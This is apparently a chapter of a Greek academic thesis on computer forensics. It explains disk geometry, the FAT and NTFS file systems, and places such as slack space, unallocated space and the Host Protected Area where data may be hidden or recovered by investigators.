ΕΝΟΤΗΤΑ 3.1 - ΣΚΛΗΡΟΙ ΔΙΣΚΟΙ
Όπως είναι γνωστό οι σκληροί δίσκοι αποτελούν το κύριο αποθηκευτικό μέσο στο οποίο βρίσκονται 
σχεδόν όλα όσα χρειάζεται ένας υπολογιστής για να εκτελέσει κάποια λειτουργία.
Ένας σκληρός δίσκος μπορεί να χωρίζεται σε λογικές ενότητες που ονομάζονται partitions τα όποια 
μορφοποιούνται με κάποιο file system και κατηγοριοποιούνται σε δυο είδη τα primary και τα 
extended.
Σε ένα σκληρό δίσκο μπορεί να συνυπάρξουν παραπάνω από ένα partitions αλλά μόνο ένα κάθε 
φορά είναι το ενεργό, από το οποίο δηλαδή ενεργοποιείται η λειτουργία της εκκίνησης του 
υπολογιστή.
Γι αυτή την λειτουργία είναι υπεύθυνο το τμήμα του σκληρού δίσκου που ονομάζεται Master Boot 
Record (MBR) και το οποίο βρίσκεται στην πρώτη λογική μονάδα αποθήκευσης κάθε υπολογιστή 
και περιέχει:
• Τον κώδικα εκκίνησης, ο όποιος καθορίζει στον υπολογιστή ποια είναι τα προσπελάσιμα 
partitions και που μπορεί να βρει το λειτουργικό σύστημα από το οποίο θα γίνει η εκκίνηση
• Τον πινάκα των partitions
• Μια αναγνωριστική τιμή (signature value)
Ο MBR μπορεί να περιγράψει/υποστηρίξει μέχρι τέσσερα partitions, αλλά επειδή πολλά λειτουργικά 
χρειάζονται πολύ περισσότερα, χρησιμοποιούνται έγγραφες από τον πινάκα των partitions και 
δημιουργείται ένα extended partition το οποίο καταλαμβάνει όλο τον υπόλοιπο χώρο. Σε αυτό το 
χώρο, η διάταξη διαφοροποιείται και από εδώ και περά κάθε partition έχει στην αρχή του 
πληροφορίες όπως:
• Ποιο είναι το μέγεθος του
• Ποιο σύστημα διαχείρισης αρχείων (file system) χρησιμοποιεί
• Που βρίσκεται το επόμενο partition
' '1 1
L
Primary 
Fite System
#1
Primary 
File System
#2
Primary 
File System 
#3
Primary
Extended Partition
Εικόνα3.1
Οι σκληροί δίσκοι από φυσικής πλευράς χωρίζονται σε:
• Tracks
• Cylinders
• Sectors
Οι sectors διαμορφώνουν clusters διαφόρων μεγεθών τα όποια αποτελούν το μικρότερο λογικό 
μέγεθος του δίσκου στο οποίο μπορεί να ανατεθεί ένα αρχείο και είναι η βασική μονάδα 
αποθήκευσης της πληροφορίας πάνω σε ένα δίσκο, ενώ το μέγεθος τους καθορίζεται από το file
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system ή αντιστοίχως από το λειτουργικό σύστημα, το οποίο καθορίζει και το file system.
Sector λέγεται το μικρότερο διευθυνσιοδοτήσιμο κομμάτι πάνω στο δίσκο και μπορεί να περιέχει 
512 bytes δεδομένων. (Koehler, 2002).
Disk structure:
(A) track
(B) geometrical sector
(C) track sector
(D) cluster
Εικόνα3.2
ΕΝΟΤΗΤΑ 3.2 - FILE SYSTEMS
Τα file systems που χρησιμοποιούνται περισσότερο είναι τα:
• Τύπου FAT
• Τύπου NTFS
• Τύπου ΕΧΤ2/ΕΧΤ3
ΥΠΟΕΝΟΤΗΤΑ 3.2.1 - ΓΑΤ
To FAT, τα αρχικά του όποιου σημαίνουν File Allocation Table, αναπτύχτηκε από την Microsoft για 
το MS-DOS και ήταν το κυρίως file system για τα λειτουργικά των Microsoft Windows μέχρι και 
την πλατφόρμα των Windows Me.[33]
Χρησιμοποιεί έναν πινάκα για να ενοποιήσει την πληροφορία σχετικά με το ποιοι είναι οι χώροι που 
ανήκουν σε αρχεία και ποιοι είναι ελεύθεροι, αλλά και πού τελικά αποθηκεύονται τα αρχεία πάνω 
στο δίσκο .
Για μεγαλύτερη απλοποίηση ο χώρος στον δίσκο κατανέμεται σε συνεχόμενες ομάδες από clusters 
και για την αναγνώριση των διευθύνσεων τους χρησιμοποιείται κάποιος αριθμός από bits.Ο αριθμός 
των bits που χρειάζονται για να αναγνωριστεί ένα cluster καθορίζουν και το ποια έκδοση του FAT 
χρησιμοποιείται. Για παράδειγμα στην έκδοση FAT32 οι cluster διευθύνσεις κρατούνται σε ένα 
πεδίο της τάξεως των 32 bits.
Εκτός από τον απλό του χαρακτήρα το FAT file system έχει κάποια σοβαρά μειονεκτήματα.
Το κυρίως πρόβλημα είναι ότι όταν τα αρχεία διαγράφουν και προστεθούν καινούρια στο μέσο, 
αυτά χωρίζονται σε κομμάτια διάσπαρτα πάνω στο δίσκο καθώς αρχικά ο δίσκος λόγω του file 
system είχε δεσμεύσει συνεχόμενο χώρο για την αποθήκευση των αρχείων. Το φαινόμενο αυτό 
ονομάζεται κατακερματισμός (fragmentation). Μετά από κάποιο διάστημα η διαδικασία ανάγνωσης 
και εγγραφής στο δίσκο γίνεται πολύ αργή καθώς το FAT σε αντίθεση με αλλά file systems πρέπει 
να σαρωθεί σαν ένας πινάκας στον οποίο ανιχνεύονται οι θέσεις των ελεύθερων clusters .Στην 
πραγματικότητα εξαιτίας της γραμμικότητας της διαδικασίας της σάρωσης, ο υπολογισμός του
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ελευθέρου χώρου, είναι από τις λειτουργίες με την μεγαλύτερη κατανάλωση πόρων του συστήματος.
Από την άλλη η πορεία βελτιστοποίησης που είχε το FAT, από την εποχή του FAT 12 με cluster 
διευθύνσεις της τάξης των 12 bits και μέγιστο δυνατό όγκο αρχείου της τάξεως των 32 Mb ως και 
την τελευταία έκδοση του FAT32 με cluster διευθύνσεις 32 bits, μέγιστο δυνατό όγκο αρχείου 4Gb 
και δυνατότητα για πολλαπλά logical drives ή αλλιώς extended partitions, δεν κατάφερε τελικά να 
λύσει το μεγαλύτερο πρόβλημα αυτού του file system το οποίο είναι ο κατακερματισμός 
(fragmentation).
Ειδικά στις τελευταίες εκδόσεις του το πρότυπο αυτό αντιμετωπίζει όχι μόνο τον κατακερματισμό 
των καινούριων αρχείων πάνω στο δίσκο τα όποια λάμβαναν μη συνεχόμενες θέσεις μνήμης αλλά 
και τον εσωτερικό κατακερματισμό ο όποιος προκύπτει από το μεγάλο μέγεθος των clusters (64Kb) 
που χρησιμοποιεί. Με αυτόν τον τρόπο λοιπόν αυτό για κάθε αρχείο μικρότερο των 64 Kb γίνεται 
σπατάλη σε πολύτιμο χώρο στον σκληρό δίσκο.
Ο κατακερματισμός για την επιστήμη του Computer Forensics είναι κάτι που πρέπει να ληφθεί 
υπόψη σε διάφορες φάσεις όταν χρησιμοποιούνται τεχνικές που μελετώνται πιο κάτω.
Επίσης σημαντικό μειονέκτημα του FAT είναι ότι δεν έχει σχεδιαστεί έτσι ώστε να υποστηρίζει 
Alternate Data Streams (ADS) αλλά επειδή κάποια λειτουργικά συστήματα έχουν μεγάλη σχέση 
εξάρτησης από αυτά, έχουν δημιουργηθεί κάποιες μέθοδοι που προσπαθούν να αποθηκεύσουν την 
πρόσθετη πληροφορία σε έξτρα αρχεία και φακέλους και κάποιες άλλες που δίνουν άλλη 
σημασιολογία σε προηγουμένως μη χρησιμοποιούμενα fields των δόμων δεδομένων του FAT.
Με αυτό τον τρόπο δημιουργούνται κρυμμένα αρχεία τα όποια αποθηκεύουν τα μετά-δεδομενα 
(metadata) που χρειάζεται το εκάστου πρόγραμμα. Εναλλακτικά έχουν υλοποιηθεί τρόποι να 
υποστηρίζει το FAT τα λεγάμενα Extended Attributes (ΕΑ) τα όποια δίνουν την δυνατότητα να 
συσχετιστεί ένα αρχείο με μετα-δεδομένα που αρχικά δεν μπορούσαν να ερμηνευτούν από το 
συγκεκριμένο file system.
Τα μετα-δεδομένα που υποστηρίζονται είναι σε τυπικές περιπτώσεις το όνομα του συγγραφέα ενός 
κειμένου, η κωδικοποίηση και το checksum .Η διάφορα τους από τα ADS είναι ότι είναι πολύ 
περιορισμένου μεγέθους και σε σχέση με το αρχείο που συσχετίζονται είναι πολύ πιο μικρά, ενώ τα 
ADS δεν υπόκεινται σε περιορισμούς. ΙΤαρολαυτά και τα δυο είδη θα ονομαστούν από εδώ και μέχρι 
το τέλος του κεφαλαίου metadata για λογούς απλοποίησης .Σε κάθε περίπτωση αποτελούν πολύ 
σημαντικά δεδομένα που ερευνώνται εξονυχιστικά κατά την διερεύνηση και εξαγωγή δεδομένων 
από αποθηκευτικά μέσα κατά τις διαδικασίες Computer Forensics.
Το διάταξη των δόμων σε ένα FAT partition ή δίσκο είναι ως εξής:
π , More reserved 
Boot
sectors
sector
(optional)
File
Allocation 
Table #1
File
Allocation 
Table #2
Root 
Directory 
(FAT12/16 only)
Data Region (for files and directories)... 
(To end of partition or disk)
Εικόνα3.3
1. Τα Reserved sectors που βρίσκονται στην αρχή περιλαμβάνουν το Boot Sector το οποίο 
περιέχει κάποιες βασικές πληροφορίες του συστήματος όπως το είδος του και δείκτες που 
δείχνουν αλλά τμήματα (BIOS Parameter Block) καθώς και τον κώδικα εκκίνησης του 
λειτουργικού συστήματος. Προαιρετικά περιλαμβάνονται και περισσότεροι Reserved sectors.
2. Η περιοχή των FAT πινάκων, οι οποίο μπορεί να βρίσκονται σε δυο αντίγραφα για 
προληπτικούς λογούς (αν και το δεύτερο αντίγραφο σπάνια χρησιμοποιείται ακόμα και από 
προγράμματα) .Οι πινάκες αυτοί ουσιαστικά περιλαμβάνουν την πληροφορία σχετικά με την 
δομική οργάνωση του δίσκου, καθώς και το σε ποιες ακριβώς clusters διευθύνσεις 
αποθηκεύονται ποια αρχεία.
3. Η περιοχή Κεντρικού Καταλόγου (Root Directory), όπου αποθηκεύονται οι πληροφορίες 
σχετικά με τα αρχεία και τους καταλόγους που βρίσκονται μέσα στο Root Directory και
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χρησιμοποιείται μόνο στο FAT12 και FAT16 που σημαίνει ότι υπάρχει ένας προ- 
δεσμευμένος χώρος σταθερού μεγέθους που κατανέμεται κατά την δημιουργία του τόμου 
(volume).Στο FAT32 το Root Directory αποθηκεύεται μαζί με τα αρχεία και τους 
καταλόγους στην Περιοχή Δεδομένων (Data Region), επιτρέποντας του να αυξάνεται σε 
μέγεθος χωρίς περιορισμούς.
4. Η Περιοχή Δεδομένων, που είναι ο χώρος όπου αποθηκεύονται τα πραγματικά αρχεία και 
αποτελεί το μεγαλύτερο μέρος του partition.To μέγεθος των αρχείων μπορεί να μεγαλώσει 
προσθέτοντας έγγραφες στον FAT, δημιουργώντας μια αλυσίδα εγγράφων για το αρχείο, ενώ 
τα κομμάτια του αποθηκεύονται στο δίσκο διάσπαρτα προκαλώντας αυτό που ονομάστηκε 
εξωτερικό fragmentation.
Η χρήση του FAT file system, όπως έχει διαμορφωθεί σήμερα επιτάσσει την χρήση του για ψηφιακά 
μέσα όπως οι δισκέττες, που χρησιμοποιούν FAT 12, και σχεδόν όλα τα αποσπώμενα μέσα μνήμης 
(removable media) όπως τα USB flash drives και memory cards, τα όποια χρησιμοποιούν το FAT16. 
Τα περισσότερα από αυτά είναι αρκετά μικρά σε μέγεθος για να επωφεληθούν από το FAT32.Aoto 
δείχνει ότι ένας Forensics Investigator θα πρέπει να γνωρίζει τις δομές αυτών των εκδόσεων γιατί 
παρά την παλαιότητα τους, ακόμα χρησιμοποιούνται από τις περισσότερες εταιρίες και οργανισμούς.
ΥΠΟΕΝΟΤΗΤΑ 3.2.2 - NTFS
To NTFS file system, τα αρχικά του όποιου σημαίνουν New Technology File System ή αλλιώς NT 
File System, εκ των οποίων το NT προκύπτει από τα Windows NT (New Technology), ήταν το file 
system που είχε η πλατφόρμα των NT σε αντίθεση με τις παλιότερες εκδόσεις Windows οι οποίες 
χρησιμοποιούσαν το FAT και τις εκδόσεις του.
Η βασική ιδέα στο NTFS είναι πως οτιδήποτε σχετίζεται με ένα αρχείο, όπως το όνομα του αρχείου, 
η ημερομηνία δημιουργίας του, τα δικαιώματα και οι άδειες χρήσεις του από το λειτουργικό 
σύστημα, ακόμα και τα περιεχόμενα του, μπορεί να αποθηκευτούν σαν μετα-δεδομένα (metadata).
Σε αντίθεση με το FAT και τις εκδόσεις του που χρησιμοποιούν τον FAT table σαν ευρετήριο, στο 
NTFS χρησιμοποιείται ο Master File Table (MFT), ο όποιος περιέχει εγγραφές που περιγράφουν όλα 
τα αρχεία, τους καταλόγους και τα αρχεία συστήματος σε ένα NTFS σύστημα.
Η χρήση του MFT συμβάλει στην ελαχιστοποίηση του fragmentation του δίσκου. Ο δίσκος 
χωρίζεται σε δυο μέρη:
Στο πρώτο 12% του δίσκου ανατίθεται το λεγόμενο MFT-area, η περιοχή δηλαδή του MFT πινάκα 
όπου είναι ο χώρος τον οποίο μπορεί να καταλάβει έτσι ώστε να μην χρειαστεί να γίνει 
κατακερματισμός, πάνω στον δίσκο, των πιο σημαντικών υπηρεσιών του (services), σε περίπτωση 
που αυξηθεί το μέγεθος του. Ο χώρος που δεσμεύεται είναι ακόμα χρησιμοποιήσιμος απλώς θα 
χρησιμοποιηθεί μόνο όταν έχει γεμίσει όλος ο υπόλοιπος δίσκος. Σε αυτή την περίπτωση το 
σύστημα θα χρησιμοποιήσει την MFT-area, αλλά και ο MFT table θα αυξηθεί λόγω αύξησης των 
εγγράφων ώστε να καλύψει την περιοχή αυτή. Στην ακραία περίπτωση που η περιοχή αυτή 
κορεστεί, το σύστημα ψάχνει κάποιο άλλο κομμάτι πάνω στο δίσκο ώστε να καταγράψει τις 
καινούριες έγγραφες, κάτι που είναι ανεπιθύμητο όμως καθώς προκαλεί τον κατακερματισμό του 
MFT.
Το υπόλοιπο 88% αποτελεί τον σύνηθες χώρο για την αποθήκευση των αρχείων.
Η βασική φιλοσοφία του NTFS είναι ότι κάθε κομμάτι του συστήματος αποτελεί και το ίδιο ένα 
αρχείο ,συμπεριλαμβανομένων και των δομών που χρησιμοποιούνται για την διαχείριση του 
partition οι οποίες κρατούν στατιστικές και ρυθμιστικές πληροφορίες σχετικά με αυτό.
To MFT αποτελείται από αριθμημένες εγγραφές μεγέθους 1Kb οι οποίες ανταποκρίνονται στα 
αρχεία του δίσκου συμπεριλαμβανομένου και του MFT.Oi πρώτες 16 εγγραφές του είναι οι μόνες 
που έχουν σταθερή θέση πάνω στο δίσκο και δεν είναι προστατευόμενες από το λειτουργικό
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σύστημα. Η πρώτη εγγραφή (#0) περιγράφει τον ίδιο το MFT και από εκεί λαμβάνουμε γνώση και 
για το μέγεθος του. Οι έγγραφες των αρχείων και των καταλογών των χρηστών ξεκινούν από την 25η 
θέση. Κάθε εγγραφή περιλαμβάνει μια λίστα από attributes σχετικά με ένα αρχείο (σημ: Ακόμα και 
τα δεδομένα του αρχείου μπορούν να θεωρηθούν attribute). Παραδειγματικά, τα attributes θα 
μπορούσαν να περιλαμβάνουν «Standard Information» όπως Modified-Accessed-Created 
timestamps, «Filename» όπου γράφεται το όνομα του αρχείου ή του φακέλου, $Data στην 
περίπτωση που τα δεδομένα του αρχείου αποθηκεύονται μέσα στο MFT για λογούς που θα 
περιγράφουν πιο κάτω, ή τέλος «Index Alloc», «Index Root» που περιλαμβάνει δείκτες στα 
περιεχόμενα του αρχείου τα όποια έχουν αποθηκευθεί σε μια δομή B-Tree.
Ακόμα, αν μια μόνο έγγραφη MFT δεν επαρκεί, χρησιμοποιούνται περισσότερες που περιέχουν τις 
πληροφορίες για το αρχείο όχι απαραίτητα σε ακολουθιακή σειρά. Είναι πολύ σημαντικό το ότι αν 
ένα αρχείο δεν περιέχει δεδομένα τότε δεν δεσμεύεται χώρος στον δίσκο έκτος από την εγγραφή του 
αρχείου στο MFT.
Επίσης αν ένα αρχείο δεν έχει πολύ μεγάλο μέγεθος (μικρότερο των 1000 bytes) αποθηκεύεται στην 
περιοχή της εγγραφής του MFT μετά τις πληροφορίες που το αφορούν. Σε κάθε άλλη περίπτωση - 
όπου αυτό είναι και το σύνηθες, τα πραγματικά δεδομένα αποθηκεύονται ξεχωριστά στον χώρο 
δεδομένων.
Η προσέγγιση για ανοχή σε βλάβες που έχει το NTFS, έγκειται στο ότι αυτές οι πρώτες 16 έγγραφες 
αφορούν ξεχωριστά η κάθε μια λειτουργικότητα του συστήματος, κατανέμοντας έτσι τα πιθανά τα 
σημεία αποτυχίας του συστήματος σε περισσότερα του ενός, κάτι που στο FAT δεν ισχύει, καθώς 
μια βλάβη στην περιοχή του FAT θα ισοδυναμούσε με ολοκληρωτική καταστροφή για κάθε 
λειτουργία του δίσκου.
File name Περιγραφή
$attrdef Περιέχει τους ορισμούς όλων των attributes του τομέα (volume),
είτε είναι του συστήματος
είτε όσων είναι ορισμένα από το χρήστη
$badclus Περιέχει όλα τα καιαγεγραμμένα bad (damaged) clusters
$bitmap Περιέχει το bitmap όλου του τομέα που Οείχνει που υπάρχουν ελεύθερα και που χρηεημοποιούμενα clusters
$boot Περιέχει τον bootstrap loader code
$logfile Περιέχει πληροφορίες για γρήγορη ανάκαμψη του συστήματος που επαναφέρει την συνέπεια των metadata μετά απο μια βλάβη
$mft Περιέχει τουλάχιστον μια εγγραφή για κάθε αρχείο ή κατάλογο στο σύστημα
Smftmirr Είναι η αντιγραφή των πρώτων 4 εγγραφών του MFT που γοησιιιοποιούνται για αποκατάσταση σε περίπτωση βλάβ^ του MFT.
Εικόνα3.4
ΕΝΟΤΗΤΑ 3.3 - ΚΡΥΜΜΕΝΑ ΔΕΔΟΜΕΝΑ / ΚΑΤΑΛΟΙΠΑ ΔΕΔΟΜΕΝΩΝ
Οι τεχνικές συγκάλυψης αρχείων -Data Hiding και anti-Forensics τεχνικές- είναι πάρα πολλές και 
ένας Investigator πρέπει να είναι ενημερωμένος για όλες προκειμένου να μην παραβλέψει σημεία 
του υπολογιστικού συστήματος στο οποίο θα μπορούσαν να βρεθούν στοιχεία .Σύμφωνα με μια 
γενική κατηγοριοποίηση [35] το Data Hiding χωρίζεται σε :
• Media Management Layer
• File System Layer
• Application Layer
To πρώτο επίπεδο είναι εκείνο στο οποίο ένα αποθηκευτικό μέσο, χωρίζεται από την φυσική μορφή
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του σε μικρότερα κομμάτια, τα Partitions ή τους τόμους (volumes). Σε αυτό το επίπεδο οι τεχνικές 
συγκάλυψης αρχείων είναι εκείνες οι οποίες ασχολούνται με την χρήση χωρών που το λειτουργικό 
σύστημα είτε δεν γνωρίζει, είτε θεωρεί μη δεσμευμένους .Σε αυτή την κατηγορία εμπίπτουν αυτά 
που ορίζονται πιο κάτω ως «unallocated space» και «Host Protected Area».Στην ίδια κατηγορία 
ανήκουν και τα δεδομένα που μπορεί να βρίσκονται σε «Partition Gap», το μη χρησιμοποιούμενο 
κομμάτι που βρίσκεται αμέσως μετά τον MBR, το «volume slack» κ.α.
Στο δεύτερο επίπεδο οι τεχνικές συγκάλυψης χρησιμοποιούν τις δομές των file systems 
εκμεταλλευόμενες τις αδυναμίες και τα χαρακτηριστικά της εκάστοτε έκδοσης. Σε αυτή την 
κατηγορία εμπίπτουν οι τεχνικές που χρησιμοποιούν οποιουδήποτε είδους «Slack Space», τα 
Alternate Data Streams (ADS του NTFS), τα Reserved inodes των Unix file systems όπως το 
EXT2/3 (τα οποία αναφέρονται ονομαστικά μονό) και η χρήση «ειδικών» file names τα οποία 
προσποιούνται αρχεία του συστήματος.
Στο τρίτο επίπεδο ,τέλος - το οποίο δεν θα αναλυθεί - ανήκουν πιο γνωστές τεχνικές, όπως αυτές 
της στεγανογραφίας και κρυπτογραφίας.
Ορισμός : Κατάλοιπα Δεδομένων είναι τα δεδομένα τα όποια δεν είναι ενεργά σε ένα 
πληροφοριακό σύστημα και περιλαμβάνουν:[36]
1. Τα δεδομένα τα όποια βρίσκονται σε ελεύθερο χώρο πάνω στο μέσο
2. Τα δεδομένα που βρίσκονται στο “slack space”
3. Τα δεδομένα μέσα σε αρχεία τα όποια έχουν διαγράφει στο παρελθόν και δεν είναι εμφανή 
με χρήση των εφαρμογών που τα έχουν δημιουργήσει χωρίς την χρήση ειδικών εφαρμογών 
τύπου “undelete” και ειδικές τεχνικές recovery.
Οι κατηγορίες αυτού του είδους δεδομένων περιγράφονται ως εξής [37] :
File Slack : Είναι ο χώρος που δεν χρησιμοποιείται μεταξύ του λογικού τέλους του αρχείου σε 
σχέση με το φυσικό .Όταν τα δεδομένα αποθηκεύονται σε clusters υπάρχει περίπτωση να μην 
καλύπτουν ακριβώς αυτές τις δομικές αποθηκευτικές μονάδες και να περισσεύει κάποιος χώρος. Το 
file system που χρησιμοποιείται είναι καθοριστικός παράγοντας για το πόσος τέτοιος χώρος 
παραμένει κενός.
Στο FAT ,που χρησιμοποιούνται clusters μεγέθους 64Kb, αν αποθηκευτεί ένα αρχείο με μέγεθος 
1Kb, χάνονται 63Kb.
Στο NTFS το μέγεθος των clusters είναι πολύ μικρότερο, συνήθως 4Kb .Τα υπολειπόμενα bytes σε 
ένα cluster περιέχουν πιθανώς υπολείμματα από προηγούμενα αρχεία που είχαν αποθηκευτεί εκεί. 
Αυτά τα bytes μπορούν να ανακτηθούν με forensics τεχνικές και να αποκαλύψουν πρόσθετα 
στοιχεία (evidence) .
Ik file j 3k slack space
Cluster Μεγέθους 4 Kb
Volume Slack : Είναι ο μη χρησιμοποιούμενος χώρος μεταξύ του τέλους ενός file system και το 
τέλος του partition το οποίο το περιέχει. Το μέγεθος των δεδομένων που κρύβονται στο Volume 
Slack είναι απεριόριστο επειδή μπορεί να ρυθμιστεί από το χρήστη.
File System Slack : Είναι ο χώρος στο τέλος ενός file system στον οποίο δεν έχει ανατεθεί κανένα 
cluster. Αυτό συμβαίνει επειδή το μέγεθος του partition μπορεί να μην είναι πολλαπλάσιο του 
μεγέθους του cluster που χρησιμοποιεί το file system.Tia παράδειγμα, μπορεί να υπάρχουν 10001 
sectors σε ένα partition και οι 1000 πρώτοι ανατίθενται σε 2500 clusters με μέγεθος 4 sectors το 
καθένα, τότε ο τελευταίος sector γίνεται file system slack.To μέγεθος των δεδομένων που μπορεί να
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κρυφτούν εδώ είναι σχετικά μικρό και εξαρτάται από το file system και το μέγεθος των clusters που 
χρησιμοποιεί.
Partition Gap : Όταν κάποιος σκληρός δίσκος μορφοποιείται με παραπάνω από ένα partitions, τότε 
είναι πιθανόν να υπάρχουν κενά μεταξύ των partitions τα οποία μπορούν να χρησιμοποιηθούν για να 
κρυφτούν δεδομένα. Τα κενά αυτά μπορεί να περιέχουν επίσης δεδομένα που υπήρχαν εκεί πριν 
γίνει η μορφοποίηση στην περίπτωση που ο δίσκος επαναμορφοποιείται.
MBR -area : Κάθε DOS partition δεσμεύει χώρο στην αρχή του, για τον MBR ο οποίος έχει 
περιγράφει παραπάνω. Επειδή ο MBR χρησιμοποιεί έναν μοναδικό sector και τα partitions πρέπει να 
αρχίζουν και να τελειώνουν σε cylinder boundary, μένουν 62 κενοί sectors που ανήκουν στην 
περιοχή του MBR.
RAM slack : Είναι ένα φαινόμενο που παρατηρούνταν σε παλιότερα λειτουργικά κατά το οποίο 
όταν το λειτουργικό σύστημα έπρεπε να γράψει κάτι στο δίσκο, γνωρίζοντας το μέγεθος του, 
συμπλήρωνε το sector που μπορεί να είχε περισσευούμενο χώρο με δεδομένα από την μνήμη. Είναι 
κάτι πολύ επικίνδυνο, καθώς στα δεδομένα της RAM μπορεί να βρίσκονται passwords, αριθμοί 
πιστωτικών καρτών και πολλά ακόμα δεδομένα τα όποια δεν υπήρχε πρόθεση να αποθηκευτούν στο 
δίσκο. Σήμερα το φαινόμενο έχει εξαλειφθεί καθώς τα καινούρια λειτουργικά συστήματα γεμίζουν 
τον περισσευούμενο χώρο με μηδενικά.
Swap File : Είναι η virtual RAM που χρησιμοποιείται από το σύστημα όταν χρειάζεται (όταν δεν 
υπάρχει αρκετή RAM).Εδώ μπορούν να βρεθούν δεδομένα της RAM που κανονικά θα είχαν χαθεί 
σε ένα σύστημα το οποίο θα βρισκόταν κλειστό. Αλλά επειδή τα συγκεκριμένα αποθηκεύονται στο 
δίσκο, μπορούν να ανακτηθούν και να δώσουν δεδομένα όπως πληροφορίες για αρχεία, ουρές 
αρχείων προς εκτύπωση (printer queues) και δεδομένα που αποθηκευτήκαν\σωθηκαν από τον 
χρηστή μαζί με τις χρονοσφραγίδες τους γραμμένες από το λειτουργικό σύστημα.
Unallocated space : Είναι το ακόμα μη χρησιμοποιημένο μέρος του δίσκου. Αν για παράδειγμα 
φτιάξουμε ένα partition μεγέθους 80 Gb σε ένα σκληρό μεγέθους 100 Gb, τα υπόλοιπα 20Gb που 
μένουν είναι το Unallocated space.
Επειδή είναι έξω από την δικαιοδοσία του λειτουργικού συστήματος, δεν μπορεί να προστατεύει από 
αυτό, ούτε να καταγράφει η δραστηριότητα που παίρνει μέρος σε αυτό το κομμάτι. Συνεπώς εάν 
κάποιος με δικαιώματα administrator χρησιμοποιήσει το Unallocated space για να γράψει ένα αρχείο 
το οποίο θα ήθελε να δείξει σε κάποιον έκτος δικαιοδοσίας, ο δεύτερος δεν χρειάζεται να έχει 
δικαιώματα πάνω στο λειτουργικό για να το δει. Κατά αυτόν τον τρόπο μπορεί να λάβει μέρος 
κάποιο είδος επικοινωνίας μεταξύ χρηστών πάνω σε πληροφορίες που δεν θα έπρεπε εξ’ αρχής να 
ανταλλάσσουν. Ένας πολύ απλός τρόπος με τον οποίο θα μπορούσε κάποιος να χρησιμοποιήσει 
unallocated space για να κρύψει δεδομένα είναι και ο ακόλουθος:
Μορφοποιούνται δύο ξεχωριστά partitions εκ των οποίων στο ένα τοποθετούνται τα δεδομένα που 
πρέπει να συγκαλυφθούν Έπειτα σβήνεται το partition το οποίο τα περιέχει, κάτι που όμως δεν 
συνεπάγεται την διαγραφή των δεδομένων που αρχικά τοποθετήθηκαν εκεί .Οπότε αυτά τα 
δεδομένα παραμένουν σε μη δεσμευμένο χώρο "αόρατο" από το υπόλοιπο σύστημα.
Host Protected Area : Μερικοί σκληροί δίσκοι έχουν δεσμεύσει μια ειδική περιοχή που λέγεται 
Host Protected Area.Είχε αρχικά σχεδιαστεί έτσι ώστε να υπάρχει μια περιοχή στο δίσκο τέτοια 
ώστε οι πωλητές να μπορούν να αποθηκεύουν κάποια δεδομένα πάνω στο δίσκο, που να μην 
μπορούν να προσπελαστούν από τον κοινό χρηστή, το λειτουργικό (format,delete) ή το file system 
Σε αυτό το χώρο αποθηκεύονται διαγνωστικά και booting εργαλεία, προαποθηκευμένο λειτουργικό 
σύστημα για εγκατάσταση και για επαναφορά σε περίπτωση βλάβης κλπ. Συχνά χρησιμοποιείται και 
από εταιρίες ασφάλισης υπολογιστών από κλοπή, εκμεταλλευόμενες το γεγονός ότι είναι μια 
περιοχή που δεν ανιχνεύεται και δεν επηρεάζεται από format όλου του συστήματος. Έτσι
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χρησιμοποιώντας λογισμικό που «επικοινωνεί» με τους servers της εταιρείας Ασφάλισης όταν 
βρεθεί σε δίκτυο, εντοπίζεται το κλεμμένο σύστημα.
Επίσης χρησιμοποιείται από rootkits για να μην μπορούν να ανιχνευτούν από αντί-ιικα 
προγράμματα.
Από την άλλη είναι και ένας ιδανικός χώρος στον οποίο μπορούν να κρυφτούν δεδομένα, τα όποια 
θα περιείχαν στοιχειά σημαντικά για μια ερευνά ίοτεηβΐοε.Χρηστές ή εφαρμογές θα μπορούσαν να 
γραφούν και να διαβάζουν δεδομένα από αυτό το χώρο και το λειτουργικό να μην μπορεί να το 
ελέγξει.
Εικόνα3.5
ΕΝΟΤΗΤΑ 3.4 - ΑΝΑΛΥΣΗ ΕΝΟΣ FILE SYSTEM
Ο λόγος για τον οποίο είναι πολύ σημαντικό για έναν ερευνητή Forensics να γνωρίζει και να 
κατανοεί σε μεγάλο βαθμό τις αρχές που διέπουν την γεωμετρία των αποθηκευτικών μέσων είναι 
επειδή ένα μεγάλο μέρος της ανάλυσης των δεδομένων τα όποια εξετάζονται σε μια έρευνα, είναι 
δεδομένα τα όποια υπάρχουν κάπου «κρυμμένα» στο σύστημα και πρέπει να ανακαλυφθούν. Η
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κατανόηση των παραπάνω ζητημάτων βοηθά στο να γνωρίζει κάνεις που να τα ψάξει και με ποιο 
τρόπο θα τα φέρει στην επιφάνεια (recovery).
Τα προϊόντα της ανάλυσης ενός file system μπορούν να δώσουν πολύτιμες πληροφορίες σε μια 
διεξαγόμενη έρευνα. Οι πληροφορίες που μπορεί να προκόψουν κατά τη διαδικασία κυμαίνονται 
από το να δούμε αρχεία σε κάποιο κατάλογο έως το να κάνουμε recover δεδομένα και να δούμε 
ποια είναι τα πραγματικά περιεχόμενα ενός sector.Av χωρίσουμε την ανάλυση σε ξεχωριστές 
διαδικασίες μπορούμε να καταλήξουμε σε μια κατηγοριοποίηση στοιχείων που προκύπτουν από 
διαφορετικά επίπεδα του file system.[38]
Αρχικά, διερευνώντας τις πληροφορίες που μπορεί να πάρουμε από το ίδιο το file system, βλέπουμε 
την δομή του και χρήσιμες πληροφορίες όπως version,ID οι οποίες μπορούν να αναγνωρίσουν σε 
ποιο υπολογιστικό σύστημα αρχικά δημιουργήθηκε. Επίσης συγκρίνοντας το μέγεθος που αναφέρει 
το file system σε σχέση με το μέγεθος του τομέα στον οποίο βρίσκεται, γίνεται αντιληπτό αν υπάρχει 
χώρος πάνω στον τομέα, μετά τα sectors του file system στον οποίο θα μπορούσαν να κρύβονται 
δεδομένα.
Υπάρχει ακόμα η περίπτωση κάποιων προγραμμάτων τα όποια προσθέτοντας ένα bit σε ένα είδος 
partition, το κάνουν «αόρατο» από το λειτουργικό σύστημα, με αποτέλεσμα να μην αναγνωρίζεται 
και φυσικά να μην φαίνεται πουθενά η ύπαρξη του.
Η ανάλυση ενός file system περιλαμβάνει τις περιοχές αποθήκευσης του μέσου οι οποίες έχουν 
ανατεθεί σε αρχεία και καταλόγους.
Οι καταστάσεις στις οποίες μπορούν να περιέλθουν οι δομικές μονάδες αποθήκευσης του δίσκου 
είναι «δεσμευμένη» ή «μη δεσμευμένη» (allocated,unallocated).
Επειδή οι δομικές μονάδες ανάλογα με το file system μπορούν να αναφέρονται σε clusters ή blocks, 
